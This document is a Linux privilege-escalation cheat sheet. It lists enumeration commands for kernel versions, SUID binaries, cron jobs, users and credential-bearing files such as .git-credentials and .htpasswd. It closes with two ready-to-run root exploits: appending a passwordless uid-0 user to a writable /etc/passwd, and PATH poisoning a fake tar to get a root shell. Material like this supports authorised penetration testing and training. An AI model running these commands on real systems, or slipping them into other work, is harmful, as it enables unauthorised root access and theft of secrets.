Linux Privesc

Checklist

OS Enumeration

(cat /proc/version || uname -a) 2>/dev/null
lsb_release -a 2>/dev/null           # old, not default on many systems
cat /etc/os-release 2>/dev/null      # universal on modern systems

Environment Info

env
set

Kernel Version & Exploits

cat /proc/version
uname -a
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d ',' | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Processes

ps aux
ps -ef
top -n 1

SUID / SGID

find / -perm /4000 2>/dev/null   # SUID
find / -perm /2000 2>/dev/null   # SGID

Cron

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Users

cat /etc/passwd | grep -Ev "false|nologin|sync"
cat /etc/passwd | grep "sh$"                        # users with console
awk -F: '($3 == "0") {print}' /etc/passwd            # superusers
w                                                     # logged on now
last | tail                                           # login history
lastlog                                               # last login per user
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null); do id $i; done 2>/dev/null | sort

Interesting Files

ls -l /etc/profile /etc/profile.d/                   # profile files
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root   # interesting/backup folders
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null   # recently modified
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null   # sqlite DBs
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
find / -type f -iname ".*" -ls 2>/dev/null            # hidden files
for d in $(echo $PATH | tr ":" "\n"); do find $d -name "*.sh" 2>/dev/null; done          # scripts in PATH
for d in $(echo $PATH | tr ":" "\n"); do find $d -type f -executable 2>/dev/null; done   # binaries in PATH
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null   # backups
find . | sed -e "s/[^-][^\/]*\//|/g" -e "s/|\([^ ]\)/|-\1/"   # tree alternative

Writable /etc/passwd:

echo 'hacker::0:0::/root:/bin/bash' >> /etc/passwd
su - hacker

$PATH Poisoning

If a user-owned script runs a binary (e.g. tar) as root:

echo "/bin/bash" > /tmp/tar
chmod 777 /tmp/tar
export PATH=/tmp:$PATH

Run the script: the fake tar fires → shell.